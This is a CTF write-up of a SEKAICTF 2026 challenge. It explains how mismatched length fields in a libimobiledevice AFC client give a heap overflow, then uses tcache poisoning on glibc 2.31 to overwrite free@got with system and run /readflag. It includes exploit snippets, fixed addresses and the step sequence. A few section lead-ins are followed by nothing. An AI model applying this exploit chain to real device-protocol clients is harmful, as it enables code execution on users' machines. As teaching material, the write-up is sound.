Every pwn challenge trains you to look at the server. You get a binary, you find the parser, you smash the thing that reads your input. This one flipped the table: the binary was a client, and I was the server. It took me an embarrassingly long time to accept that, and the moment I did, the whole challenge collapsed in about twenty minutes.

Hello world! This one is a bit different from my usual posts, no CVE, no bug bounty, just a CTF challenge from SEKAICTF 2026 that lived rent-free in my head for a weekend. It's a heap challenge, but the actual difficulty wasn't the heap at all (glibc 2.31 tcache is basically a tutorial at this point). The difficulty was the mental flip: realizing which side of the connection I was standing on.

The challenge hands you afc_list, a client for AFC (Apple File Conduit), the protocol libimobiledevice speaks to talk to iPhones. Normally this binary connects to a real Apple device, asks it to list a directory, and prints the result. But in the challenge, the "device" on the other end is... you. You connect to the service, and the service's client talks AFC at you, and it will believe absolutely anything you say back to it. :D

That's the whole idea, and honestly it's a genuinely nice challenge design, because it models something real. Real clients parse untrusted data from real devices all the time, and almost nobody audits the client side of a device protocol. Let's dig in.


What we're actually attacking

Before touching any heap, here's the stuff that shipped with the challenge and what each piece does:

First thing I always do, checksec:

Arch:       amd64
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled

Two lines here are the entire exploit strategy, and everything else is noise:

And then the jail hook, which is the part that made me smile:

persona_addr_no_randomize: true
disable_no_new_privs: true
nosuid:false

persona_addr_no_randomize: true means ASLR is off. So libc is at a fixed address too. So I don't need a leak for the value either. The challenge is basically telling me "you don't need infoleaks, just go get a write primitive", which is a very generous hint if you actually read the config files instead of skipping straight to the binary (I skipped straight to the binary, obviously, and read the hook an hour later hehehe).

The protocol, in the five minutes it takes to care

Every AFC packet starts with a 0x28-byte header, and it's about as simple as protocols get:

typedef struct {
    char     magic[8];       // "CFA6LPAA"
    uint64_t entire_length;
    uint64_t this_length;
    uint64_t packet_num;
    uint64_t operation;
} AFCPacket;

Two length fields. Two. Sitting right next to each other, both fully attacker-controlled, both describing the same body.

If you've done this long enough, that struct alone should already be making a noise in your head. Any time a format carries two independent descriptions of one buffer, somebody somewhere is going to allocate using one of them and read using the other. That's not a guess, that's just how it always goes.

On the service side, the text interface is dead simple:

ls <path>
read <path>
write <path> <data>
...

and those commands map onto the real library calls:

afc_read_directory(afc, path, &list);
afc_file_open(afc, path, AFC_FOPEN_RDONLY, &h);
afc_file_read(afc, h, data, sizeof(data), &got);

Every one of those sends an AFC request out to "the device". And since I am the device, every one of those is an invitation for me to reply with whatever I want. The command interface isn't the attack surface, it's just the trigger. The attack surface is the response parser.

The bug (yeah, it's the two length fields)

The AFC receive path in libimobiledevice boils down to this:

body_size_alloc = header.entire_length - 0x28;
body_size_read  = header.this_length   - 0x28;

buf = malloc(body_size_alloc);
service_receive(conn, buf, body_size_read);

There it is. Allocate with entire_length, read with this_length. Nobody ever checks that the second one is <= the first, because on a real Apple device those two fields are always consistent, so the invariant "holds" in every test the developer ever ran.

This is the exact thing I keep saying in my other posts: every codebase has assumptions the developer never expected to be broken. Here the assumption is "the device is honest". Break that one assumption and the code is trivially exploitable, with no clever trick needed anywhere.

So I reply with:

entire_length = 0x28 + 8
this_length   = 0x28 + 0x28

which makes the library malloc(8) and then read 0x28 bytes into it. On glibc, malloc(8) gives back a 0x20-sized chunk, so writing 0x28 bytes from the user pointer walks straight off the end of it, over the next chunk's size field, and into the next chunk's fd. Which is exactly as much as I need:

poison = b"P" * 0x18
poison += p64(0x21)       # keep the next chunk a valid 0x20 chunk
poison += p64(FREE_GOT)   # poisoned fd

A controlled heap overflow, handed to me by a length field. Beautiful.

Why tcache poisoning just works here

Now, in 2026, "tcache poisoning" usually comes with a caveat: safe-linking. Since glibc 2.32, tcache fd pointers are XOR-mangled with the chunk address (ptr ^ (addr >> 12)), so overwriting fd with a raw address gets you nothing unless you already have a heap leak to compute the encoding.

But this challenge ships glibc 2.31. And 2.31 is the last version before safe-linking landed. tcache stores raw forward pointers. So the attack is the old, clean, no-nonsense one: if a bin looks like

A -> B -> C

and I overwrite B->fd with free@got, the bin now reads

A -> B -> free@got

Pop enough small allocations and malloc() (or strdup()) eventually hands me a pointer that is free@got. And the second that happens, any copy into that pointer is a GOT write. That's the whole plan: turn a strdup() into an arbitrary write to a fixed, writable, executable-on-call address.

Grooming the heap with a directory listing

To make the tcache line up, I first need to know what shape the 0x20 bin is in. The nice thing about controlling the device side is that I control the heap layout too, just by answering an ls / with the data I choose:

groom = b"A" * 8 + b"\x00" + b"B" * 8 + b"\x00" + b"C" * 8
self.ls_response(groom)

On screen this looks boring, two directory entries:

AAAAAAAA
BBBBBBBB

But the interesting part is what it does to the heap while nobody's watching:

After that one command, the 0x20 tcache bin holds 3 chunks in a completely predictable order. And 3 is exactly the number I need, because the final trigger is going to consume, in order: one chunk for the list pointer vector, one for strdup("/readflag sekai ppp"), and then the third allocation is the poisoned one that comes back as free@got.

I love this part of heap work. You spend all your time arranging furniture so that one specific allocation lands on one specific address, and to the program it just looks like it printed a directory listing.

Firing the overflow

To reach the vulnerable read path I use the read /x command. The path doesn't exist and doesn't matter, I'm the filesystem, so I get to say it does.

First the client calls afc_file_open(), and I hand it a completely made-up file handle:

self.respond(packet, p64(1), op=OP_FILE_OPEN_RES)

Then it calls afc_file_read(), and that's where the malformed packet goes:

poison = b"P" * 0x18 + p64(0x21) + p64(FREE_GOT)
self.respond(packet, poison, entire=0x28 + 8, this=0x28 + len(poison))

Step by step, what the library does to itself:

Leaving me with:

tcache[0x20] = A -> B -> free@got

Writing system() into free@got

Target address, fixed thanks to No PIE:

free@got = 0x404070

Value to write, fixed thanks to that persona_addr_no_randomize line in the hook:

libc base = 0x7ffff7d65000
system    = libc base + 0x52290
system    = 0x7ffff7db7290

And the delivery mechanism is, once again, just an ls / response. I send two entries: the command I want executed, and the pointer bytes I want written.

payload = b"/readflag sekai ppp\x00"
payload += p64(SYSTEM)[:6] + b"\x00"

That [:6] is the one detail worth pausing on. Why only 6 bytes of an 8-byte pointer? Because in x86-64 userspace this address is canonical and its top two bytes are zero anyway. If I wrote the full 8 bytes I'd be feeding two extra NUL bytes into a parser that splits entries on NUL, which would create junk list entries and wreck my carefully groomed allocation count. So I write 6 bytes, let strdup()'s own NUL terminator supply byte 7, and the remaining high byte is already zero in the GOT. Clean.

Then the final parse runs and the tcache pays out exactly as planned:

  1. the pointer vector consumes A;
  2. strdup("/readflag sekai ppp") consumes B;
  3. strdup(system_bytes) returns free@got;
  4. strdup() copies the system() bytes into free@got.

And from this instant on, in this process:

free(ptr) == system(ptr)

The best part: the program pwns itself

Here's my favorite thing about this challenge. I don't have to trigger execution. I don't need a ROP chain, I don't need to hijack a return address, I don't need to do anything at all. The binary does it to itself during normal cleanup.

After printing a listing, afc_list tidies up like a well-behaved program:

static void free_list(char **list, int n)
{
    for (int i = n - 1; i >= 0; i--) free(list[i]);
    free(list);
}

Perfectly good code. Frees every string, frees the vector, no leaks, nothing wrong with it. Except free is now system, so what actually runs is:

system(list[i]);

And one of those list[i] entries is a string I chose. The reverse iteration order means the garbage entry gets executed too and the shell complains about it, before and after the one that matters, but who cares. The call I came for is:

system("/readflag sekai ppp")

The output is gloriously messy:

/readflag sekai ppp
<system pointer bytes>
sh: 1: <garbage>: not found
SEKAI{REDACTED}
sh: 1: <garbage>: not found
afc>

The flag just sitting there in the middle of two shell errors. I scrape it out with:

rb"SEKAI\{[^}\n]*\}"

The whole thing, end to end

Full flow, in order:

  1. Connect to the service.
  2. Wait for the afc> prompt.
  3. Send ls / to groom three 0x20 tcache chunks.
  4. Send read /x.
  5. Answer afc_file_open() with a fake handle.
  6. Answer afc_file_read() with entire_length < this_length to overflow.
  7. Overwrite the next free chunk's fd with free@got.
  8. Finish the read command with an empty AFC response.
  9. Send the final ls /.
  10. Let strdup() write system() into free@got.
  11. Let free_list() run /readflag sekai ppp for me.
  12. Regex the flag out of stdout.

Running it:

./xpl1.py local
./xpl1.py remote HOST PORT

Local mode just points at 127.0.0.1:5000.

Conclusion

The exploit stands on three environment properties, and it's worth being honest about how much each one is carrying:

Take away any one of those and this becomes a much longer post. But the bug itself doesn't care about any of that, and that's the part I want to leave you with. The bug is just two length fields that were never checked against each other, because the code assumed the thing on the other end of the wire was a real iPhone being honest with it.

That's the lesson I actually took from this challenge, and it generalizes way past CTFs: we spend enormous effort hardening servers against clients, and comparatively nobody looks at clients being fed by "trusted" hardware. Phone clients, printer drivers, USB stacks, sync daemons... all of them parse attacker-reachable data while assuming the peer is well-behaved. If you ever want a productive place to go hunting, go read a client-side protocol parser and ask "what if the device lies?" hehehe.

See you in the next one. Bye! :D


References